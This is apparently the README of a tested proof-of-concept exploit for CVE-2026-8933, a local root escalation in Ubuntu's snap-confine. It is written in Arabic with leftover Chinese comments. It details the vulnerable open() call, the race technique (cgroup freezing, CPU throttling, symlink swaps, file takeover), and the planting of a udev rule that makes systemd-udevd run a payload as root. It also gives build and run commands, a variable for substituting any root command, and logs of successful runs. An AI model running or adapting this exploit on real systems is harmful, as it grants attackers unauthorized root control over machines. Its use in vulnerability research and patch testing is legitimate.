
إثبات مفهوم بلغة C للثغرة CVE-2026-8933، وهي تصعيد امتيازات محلي في snap-confine يستخدم تجميد cgroup، وسباقات الروابط الرمزية، وحقن قواعد udev لتنفيذ أوامر بصلاحيات الجذر.
أعد إنتاج إشعار Qualys بعنوان «Local Privilege Escalation in set-capabilities versions of snap-confine» (https://cdn2.qualys.com/advisory/2026/07/21/snap-confine-set-capabilities.txt).
تم الاختبار فعليًا على الجهاز المحلي (Ubuntu 25.10 / snapd 2.73+ubuntu25.10.1 / النواة 6.17): بدءًا من uid 1000،
في النهاية يقوم systemd-udevd بتنفيذ الأمر بصلاحيات root، ويحصل /tmp/pwned على
uid=0(root) gid=0(root) groups=0(root)، بما يتوافق مع التأثير المعروض في نهاية الإعلان.
سجل المشكلات التي واجهتها أثناء إعادة الإنتاج، وسبب التقييم الخاطئ في المرة الأولى بأنه "غير قابل للاستغلال"، راجع NOTES.md.
| الملف | الوصف |
|---|---|
poc.c | PoC كامل (ملف واحد) |
Makefile | البناء (يربط libfuse3.so.3.17.4 المثبتة على النظام) |
include/ | ملفات رأس libfuse3 3.17.4 (مطابقة لمكتبة وقت التشغيل على النظام) |
NOTES.md | سجل المشكلات + مراجعة منهجية تحليل قابلية الوصول |
cmd/snap-confine/mount-support.c (snapd 2.73):
sc_bootstrap_mount_namespace() // 第 475 行起
479: mkdtemp("/tmp/snap.rootfs_XXXXXX") <- 目录先归调用者所有
491: sc_do_mount(scratch, scratch, NULL, MS_BIND)
498: sc_do_mount("none", scratch, NULL, MS_UNBINDABLE)
503: sc_do_mount("none", scratch, "tmpfs", ...)
504: sc_replicate_base_rootfs(scratch, rootfs_dir, mounts)
sc_replicate_base_rootfs()
330: chown(scratch, 0, 0)
418: fd = open(full_path, O_CREAT | O_TRUNC, 0644) <- 缺少 O_NOFOLLOW
422: fchown(fd, 0, 0)
أرقام الأسطر مأخوذة من الشيفرة المصدرية لـ snapd 2.73 على هذا الجهاز (cmd/snap-confine/mount-support.c). إعلان Qualys
يشير إلى نسخته الخاصة من الملف، وأرقام الأسطر المقابلة لديه هي 511 / 523 / 530 / 535 / 536 /
362 / 450 / 454 —— العبارات متطابقة واحدة بواحدة، لكن أرقام الأسطر مختلفة.
الملف /usr/lib/snapd/snap-confine على هذا الجهاز هو mode=755 + قدرات الملف (وليس
setuid-root)، لذا فهو يعمل بمعرّف المستخدم الفعّال (euid) الخاص بالمهاجم، لكنه يحمل قدرات
قريبة من صلاحيات root: الأدلة والملفات التي ينشئها تظل مملوكة للمهاجم لفترة
قصيرة، بينما يقوم open() في السطر 418 باتباع الروابط الرمزية.
يؤكد التفكيك: أعلام open@plt على هذا الجهاز هي 0x240 (O_CREAT|O_TRUNC، بدون
O_NOFOLLOW)؛ وفي 2.77.1 المُصلَّح تكون النقطة نفسها 0x20240.
systemd-run --user --scope --unit=snap.<snap>.<app>. هذا النطاق (scope) يخص المستخدم الحالي، وcgroup.freeze قابل للكتابة،
وبالتالي يمكن السماح لـ snap-confine بالمرور نداء نظام واحداً في كل مرة.SNAPD_DEBUG=1 يطبع snap-confine
associated snap application process ... with device cgroup. يظهر هذا السطر بعد
إرفاق برنامج BPF الخاص بـ cgroup الجهاز، وقبل mkdtemp(). لا يمكن التجميد أبكر:
يعيد مدقق BPF القيمة EAGAIN عند وجود freeze trap، فيخرج snap-confine مباشرة.
stderr موصول بـ pty (وليس أنبوباً): وإلا فسيُخزَّن stdio في المخزن المؤقت للكتل، وغالباً ما يُدفَق العلامة
فقط بعد mkdtemp() وbind mount.
كذلك يُشغَّل النطاق بـ CPUQuota=1%: من العلامة إلى mkdtemp() لا يوجد سوى بضع مئات من الميكروثواني من
وقت CPU، وهو من رتبة زمن تأخر إيقاظ عملية الالتقاط؛ فيمدّ تحديد المعدل هذه النافذة في الزمن الحقيقي إلى
مستوى الميلي ثانية، وبعد تأكيد التجميد يُعاد cpu.max فوراً إلى 100%.mount(2) يتبع الروابط
الرمزية في مسار الهدف، فتقع جميع عمليات bind/unbindable/tmpfs الخاصة بـ snap-confine على
<scratch>.dA، بينما لا تزال حلقة النسخ تستخدم دليل scratch كـسلسلة نصية.ns_mount_count(sc, .dA) >= 2)، أعد توجيه الرابط الرمزي إلى
<scratch>.dB، وضع في dB روابط رمزية بأسماء مطابقة للملفات العادية في المستوى الأعلى من base rootfs،
تشير إلى /run/udev/rules.d/97-cve-2026-8933-<pid>-<rand>.rules. عندها يقع تحليل المسار في حلقة
النسخ على dB —— وهو دليل عادي نتحكم فيه بالكامل. ويُترك tmpfs في dA، فلا يعود
يعيقنا.
ملاحظة: عندما يكون على .dA تركيب واحد فقط فهو bind mount (فـ /tmp نفسه tmpfs، ويبقى
fstype بعد bind هو tmpfs)، ويجب الانتظار حتى ظهور التركيب الثاني (tmpfs الحقيقي) قبل إعادة التوجيه، وإلا فإن
mount --make-unbindable الخاص بـ snap-confine سيعيد EINVAL لأن المسار لم يعد جذر تركيب.open(O_CREAT|O_TRUNC) (تتبع الرابط الرمزي، وتنشئ الملف بصلاحية root تحت /run/udev/rules.d)،
ثم fchown(fd,0,0). يظل الملف في هذه اللحظة ملكاً لنا. يستخدم PoC في الوقت نفسه
وسيلتين:
stat() الملف
وأن uid لا يزال uid الخاص بنا، فوراً chmod 0666 + كتابة قاعدة udev (عندها يكون snap-confine
مجمداً، وتكون النافذة "مفتوحة على مصراعيها")؛chmod() ساخنة. بعد أن يسبق
spinner، يصبح الملف مملوكاً لـ root لكن وضعه 0666 —— إذ تبقى بتات الوضع محفوظة بعد fchown(0,0)،
لذا يستطيع المسار الرئيسي أيضاً إكمال الكتابة (فالشيفرة تتحقق من "هل يمكن الكتابة"، لا من "هل
أنت المالك")./run/udev/** rw.
تركيب/إلغاء تركيب نظام ملفات FUSE يجعل النواة تصدر uevent من نوع add للنظام الفرعي bdi،
فينفذ systemd-udevd فوراً PROGRAM= الموجود في القاعدة بصلاحية root.make
./poc --diagnose # 只读自检,不改动任何系统状态
./poc # exploit,默认最多 5 次尝试
./poc --attempts 8 # 增加尝试次数
./poc --file default256.png # 只用 base rootfs 里的这一个普通文件
sudo ./poc --cleanup # 清理(仅在异常中断留下残留时需要)
المعاملات:
| المعامل | الوصف |
|---|---|
--snap NAME | أي snap يُستخدم rootfs الخاص به (الافتراضي firefox، ويمكن أيضاً استخدام متغير البيئة CVE8933_SNAP) |
--app NAME | تطبيق ذلك snap (الافتراضي هو أول تطبيق تحت apps: في meta/snap.yaml) |
--file NAME | استخدام ملف عادي واحد فقط من base rootfs؛ إن لم يوجد تطابق يُنهي البرنامج مع خطأ |
--attempts N | عدد المحاولات (الافتراضي 5) |
--step US / --step2 US | زمن CPU لكل شريحة في المرحلتين (بالميكروثانية)، للتصحيح |
--keep | الاحتفاظ بمجلدي <scratch>.dA / .dB والروابط الرمزية (للتصحيح) |
--diagnose | فحص ذاتي للقراءة فقط |
--cleanup | تنظيف المخلفات السابقة (يتطلب root) |
تُكتب السجلات إلى /tmp/cve8933.log، ويُكتب مخرجات تصحيح snap-confine إلى
/tmp/cve8933-debug.txt.
يمكن لـ CVE8933_PAYLOAD_CMD='<shell 命令>' استبدال جسم payload (لاستعراض تنفيذ
أوامر root أخرى)، وفي هذه الحالة لا يتم التنظيف التلقائي؛ يجب أن تكتب الأوامر
المخصصة أيضاً إلى /tmp/pwned، وإلا سيعتبر PoC أن هذه المحاولة لم تنجح.
$ ./poc
[+] WIN: uid=0(root) gid=0(root) groups=0(root)
[+] exploit succeeded, evidence in /tmp/pwned
/tmp/cve8933.log العملية الناجحة المقابلة (2026-10-23، إعادة الاختبار بعد التعديل):
[ 0.256] === attempt 1/5 ===
[ 1062.158] marker seen after 750.5 ms
[ 1067.530] scratch dir /tmp/snap.rootfs_oFBraI replaced by a symlink to ...dA
[ 1100.887] bind mount + tmpfs on ...dA after 417 slices
[ 1100.974] scratch directory now points to ...dB with 4 symlinks -> ...rules
[ 1108.782] took the file over while snap-confine was stopped (242 slices)
[ 1108.820] rule written after 797.1 ms
[ 1108.832] target: uid=0 gid=0 mode=0666 size=73 content="ACTION=="add", ..."
(كانت إحدى المحاولات السابقة التي شملت 8 محاولات قد نجحت في المحاولة الثانية فقط: كان تأكيد التجميد في المحاولة الأولى متأخرًا جدًا، وقد تجاوز snap-confine عملية bind mount خلال نفس الشريحة الزمنية.)
ظهر لفترة وجيزة في /run/udev/rules.d/:
-rw-rw-rw- 1 root root 73 ... 97-cve-2026-8933-85431-485b.rules
المحتوى هو ACTION=="add", SUBSYSTEM=="bdi", PROGRAM="/tmp/cve-2026-8933-payload.sh"،
وتؤكد سجلات udevd أنه تم تحميله ("marked world-writable ... Proceeding anyway")، ويُنفَّذ الـ payload
بصلاحيات root.